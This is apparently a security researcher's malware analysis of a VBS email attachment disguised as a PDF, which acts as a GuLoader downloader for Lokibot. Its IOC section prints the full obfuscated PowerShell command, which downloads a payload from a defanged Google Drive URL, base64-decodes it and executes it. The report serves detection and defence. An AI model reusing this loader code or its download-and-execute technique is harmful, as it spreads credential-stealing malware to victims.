Request_for_Quote_(COCA_COLA)_7788MX·pdf.vbs – Lokibot Downloader

November 7, 2023

SHA256 Hash: b4800773e3eee6e8a976552273774861c9e1d347e8d5ae500fc8b6c10bc73215

Summary

Request_for_Quote_(COCA_COLA)_7788MX·pdf.vbs identified as GuLoader is a vbs file delivered by malspam as an email attachment. Its goal is to get the user to click on the vbs file disguised as a pdf. The script contains an obfuscated PowerShell script. This script uses an invoke expression to reach out to the URL hxxps://drive.google[.]com/uc?export=download&id=1_HoMdjhnL6FX2_5gK3kQftPErMAKX44D and downloads a second stage payload to C:\Users\Username\AppData\Roaming\Kalmuk.Sta. The payload is then converted from Base64 to ASCII, pulled from a substring of the resulting data, and executed. The resulting payload has been identified as Lokibot.

Analysis

Inspecting the initial vbs file shows that it contains several lines of comments hiding the actual script within.

Cleaning up the script reveals a WScript.Shell that runs an obfuscated powershell script. The variable Para is ultimately run from WScript.Shell combined with the string “p” results in powershell with the string M3 that contains the powershell script which is combined in the Unsomesu function.

The resulting PowerShell script contains additional obfuscation. The Arch function de-obfuscates the strings and sets the variables to the resulting strings.

De-obfuscating the strings reveals a readable script and changing the variables to user friendly names for more readability.

The Powershell script ultimatly will reach out to the URL hxxps://drive.google[.]com/uc?export=download&id=1_HoMdjhnL6FX2_5gK3kQftPErMAKX44D and download the file Kalmuk.Sta into the users AppData\Roaming directory. It will then convert from base64 to ASCII, pull a substring from the results, and execute the resulting payload.

IOCs

SHA256 File Hash:

b4800773e3eee6e8a976552273774861c9e1d347e8d5ae500fc8b6c10bc73215

Files:

Request_for_Quote_(COCA_COLA)_7788MX·pdf.vbs

Kalmuk.Sta

Commands:

wscript.exe “%TEMP%\Request_for_Quote_(COCA_COLA)_7788MX·pdf.vbs”

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe” “function Arch ([String]$Efterplap170){$Flaske = 8;For($tinp=7; $tinp -lt $Efterplap170.Length-1; $tinp+=$Flaske){$Bondholder=$Bondholder+$Efterplap170.Substring($tinp, 1)};$Bondholder;}$hounds=Arch ‘ CeyxfohVelyndetInsoucitDivotsrpNordpolsUnlumin:adenine/miljfar/BirkesfdSquawrorUnbirdliAflgspuv SinuoseSkiferd.GaussfugSkihejsoSvinkeroMonomasg Califol SelvmoeSugerne. Urticac VldetsoErhvervmAcciden/FlankaruexternacSoltrre?LeavingeUnwrencxMildendpNabolago Imbuesr Betaent termin=Snerredd SthenioTrituraw RuckspnGarrulol FjeldsoHaakonra PjaskvdEngoule&AntinomiSammenfdOrphang=Komment1Losning_ MoorenHRigatonoEgyptenMExtravedDisconujMarvelihFlaxesanRestretLTusmoer6SamuelnFElkjrtrXRidehes2Ramshor_Panbaby5EmbracigDokkesmKAntimon3 Doktrik PhylaaQTilsikrfHalvdeltBobsleiPSyncretE boliglrAnnekseMboreproARecasteK ChimerXCurtsey4 unbekn4IrratioDSeparat ‘;$Bondholder01=Arch ‘FedtopliNarkingeForbredx Stifta ‘;$Blin= $Bondholder01;$garumudsme = Arch ‘harriss\ Forstas LeucauyIrrigatsRestikkwPierceaoHalvfabwUnmeshd6feetage4 Skefab\GemmeryWAfkaldeiCongruen Intelldpermeabo Afndeswshowycas sermonPEmmertroMarguerwOrnithoeTillaver TasteaSEventyrhHolosyme ByggeslAmbareel Fylked\BasrelivSoueako1 Regrat.skralde0sveskeg\Bjerglap EndebaoJenkontw Afblome skriverTrikinhsSceneryhStatsske Diploel SmertilUnloose. KildeaeFloromvxYpperstepytters ‘; & ($Bondholder01) (Arch ‘traczie$ HuzzyhSAbelmospDesertehLobulesiAppenzenWinteric PressetSigillaeFormaalrUngdoms2 Vaased=Uppityn$KontosteSkolemonEskalervSpencer:MidstamwYderveri UdplannRavenaldDrueklaiSubereorKaffeba ‘) ; .($Bondholder01) (Arch ‘bebrill$cornutegKonstrua SuggesrKlichadu BestiamIdealituEngeluddVersifisCrystalmZoogleaeUnartis=Delrapp$ KirsebSStonesmpBybillehGamahesiStambornindervrcEftervitpedantieJorddagrMissara2 Washak+ Spolia$DemoudggDuelingaAppertarSelleriuSpiralfmSpndholuKapituldForfjersvarekbsm Interne Unpouc ‘) ; & ($Bondholder01) (Arch ‘godkend$VerdureODriftsip ScenegbTandemclKommareoPolyandmProapposDuodenotArbitra Flammep=fabriks Prognos(Stemmeg( SmaraggBiterspwSeawomamThaisili Compri Milieutw CloudeiOverflanCorkscr3Dissave2Pharmac_PjatgaapMooruptrDerrickoAbbrevicHitchhie HairbrsYmpernes Wellne Dignifi-VillageFSkraast ModforhPTwanglerDelezonoSnkenefc JulefeeRaahusssRegningsPolitikIKammerjdardentn=Ergatan$Shredle{ branddPDelfiunIDracontDFarbare}Paatnke)Sorgful.fungaceCStaldfooDerivermFautorsmbegyndeavesicannFrkrigsdTelevanL SpanieiFlyvestnDaahjoreBillige)Indiffe Overint- SenijesioniumtpUnderaflFriktioi TendmetKrebine Blazes[CanzonecBergenshUndereaaCostlesrSolmodn]acropol3Snorken4Imellel ‘); . ($Bondholder01) (Arch ‘Pinitan$KugleraGSubshrulCranefooVesicatsEquvaleeAntropo Ostreop=Thyboen Deempha$OutwhirOIncalespIndstilbBlokbehlceasingoCoxcombmDeklinasPlusesgtSlttenr[nephror$FuldvgtOViljestpsterlanbFysiklrlCholeraoStaapurm Milieus AarbogtKapital.AllervrcTropictoSarabaiuCounternStrandft Lithon-Tidsskr2Icostei]arvestr ‘); & ($Bondholder01) (Arch ‘Zoochor$ GestalS GenopteHocusaln SkabsgsVognman=Surviva(AkkoladTFindeove PulitzsUrinaletKlvands-RigspolPWarszawa NyhedstSemiapehForvrng Likenfr$BorsjtjgMucousnaPillarirLacebaruHookletm PunkteuUdsalgsdFamiliesStockinmbyggelieDuikerb)Entoret Subtrah-HundehuAbadestrnbenderbdBekendt Iridium(Floskul[EkspansISkruelan SmigertBrevprePTullibetVesicocr Ringgo] udring:Dagarbe:hypacussTranspoiStuttgazHatcheteOmgangs Boldeds-BackliteVegetarqHistozy Fjerne8jazzmus)Interak ‘) ;if ($Sens) { . $garumudsme $Glose;} else {;$Bondholder00=Arch ‘VelseteSEvenspitsigtbaraFattederBedrifttForuren-RaagensB Senecti Snudert SniglbsFoulingTSubscrir adsorpanannsern AutemjsOlietryfUnhazare Parovar skaktr Chengs-JasperiS georgiomomsafruObitsstrFastholcmambosse Unders Bitrere$Sandhedhkendingo InterauEkskludnIrreguld Simoonsteenies Hrningv-TimelnnD NostrueCochergsHalvvaatPersonaiFrskolenUnoppora DiplogtArbiteriSapphicoAandehunFjeldet Velkoms$TulleauS IlloyapMuskelmhEfterudiMesotronSnigmorcSusettetBrinjaueslibestrBalanoi2Feeling ‘; & ($Bondholder01) (Arch ‘Artrosk$HumorisSGefulltpCircumohOpstnini UnderhnCalderacInclasptSanselse Shipwrrtjrnenh2Nskepos=Bekldte$LabialieBakgearnhallahmvGradual:StrapniaNyreligp AfstempCigabysdcamphana Fornort SvingbaGreatco ‘) ; . ($Bondholder01) (Arch ‘UdtmmelILaccainmOlympispUdstaaeo TekkkerSpeelsvtSteurop-forretnMChinkieoGroundsdParaphru PerisalContrade overor UnmoraBStolendiBesigtitOrzaephsTilstanTUnsaughrgennempaNewspapnGassitssFikstidfAggregae regnskrLandbet ‘) ;$Sphincter2=$Sphincter2+’\Kalmuk.Sta’;while (-not $modpolers) { & ($Bondholder01) (Arch ‘Postadr$AdmixedmInorigioScriptgdParabaspForestioUanvendlKontorleRegardir UnarbisUlcertr= Prolet(PeroratT sletteeEffektis ForvoltKvienno- EngrooPRentegnaLsgjorttUddtlydhLovfste Bestnk$finansaSStyrtdyp AfdmpehKaftanbiTaeniacnAhornenc Mglingt BlackleHulsmmerKontrol2lammass) Filtes ‘) ; &($Bondholder01) $Bondholder00; . ($Bondholder01) (Arch ‘SbodikiSLinjeretTudegriaCytomorr Nondettmultima-LilleskSTransdul Vaerkge Torfine Gymnasp Revyer Overle5Sliberi ‘);} & ($Bondholder01) (Arch ‘ Havsph$ SipedrDdysarthiForurendFreeforaIonilovk UdstiltSljestpiforflge Klaess=Landbru ResonanGenspndeeExpostut Undila-LobbyisCBipunctoSkraapin ComputtBywordfeHighbalnUnpredatBilater Borohyd$condignSBarbarip Betakih KlimasiJordfalnSkrabtec UnadditMetegrie TablehrUarbejd2Gainspe ‘); &($Bondholder01) (Arch ‘Rekisam$SneryddFImmatrirQuipfuldYanktonsSulkiereAnskueslgonothesFejekosb BidskeeOpbevar Angelik=Escudom Rhumba[SnoozedSOpsprttyUdvidelsMuratortBurkundeKlagetemvegetoa.FjerkraC LuftruoGaltsaunWpmnonfvIntereqeBedragerHyperpatBoteteg] Branch:Bugspyt:KvaderbFAlkoholrUfolkeloAutogenmAntispiBUpbowstaPaletknsDomhusteUnjolte6Skivesn4RyddeliSRecircltInitialrFilstruiForlsewn OversegSpiriti(Pelsber$IntelleDpostmesi Viadukd BideteaJonnysdk annekttLiveabiiKlumres)Omrrunr ‘); . ($Bondholder01) (Arch ‘sfrensh$herboenB PharynoDekagran frivoldUdsavnihAsylsneoVeensmal FstnindAtollereduodecirUranide2Tyrotox Wichesn=Slynges Udstykn[ DeodorSKommissy JetmassReekyabtBeslavee FortllmOutarde.BarricaTGotiksaeTarererxBidragstsubstan.PreaccuE BoskernManaclecGulonicoOverscrdLammockiVivrekln dozerfgByttest]Skridri:Fremsen:EmpodiuAPreexclSforstemCCrinkumIUnderkbIpaapegn.BeholdnGTrylleteGardenhtJauntinSPhenicitIsdannerKiloheri Sprogrn UmbiligAkazgag( Redons$ SemiliF RegularVulgaridRetailmsErotogee ForbadlSkriftrsRewarehbUdpantneSlanges)Quinone ‘); & ($Bondholder01) (Arch ‘Smaasvb$CollocaIVandkvar InternoFerringnLactoprs Hattic=Ephydri$ PleasaBSlercouoUndeludn Hjerned Ultrarh BerseroVoluptblFrsningdUnnarraeDoteredrTegnese2 Hebeph.RumdelesSkrnedeuDeresinbGesticusMoradsetOpvaskerTsunamiiLimonadnAbhorregApinchv(ugestem2Livskva8 dangle9Wilderi8 Descen7Alarmsi8 Transi, Deferr2Marmoro0 Biseto4Warnerr9 unimed1Rusmenn)Disincl ‘);. ($Bondholder01) $Irons;}

HTTP Requests

hxxps://drive.google[.]com/uc?export=download&id=1_HoMdjhnL6FX2_5gK3kQftPErMAKX44D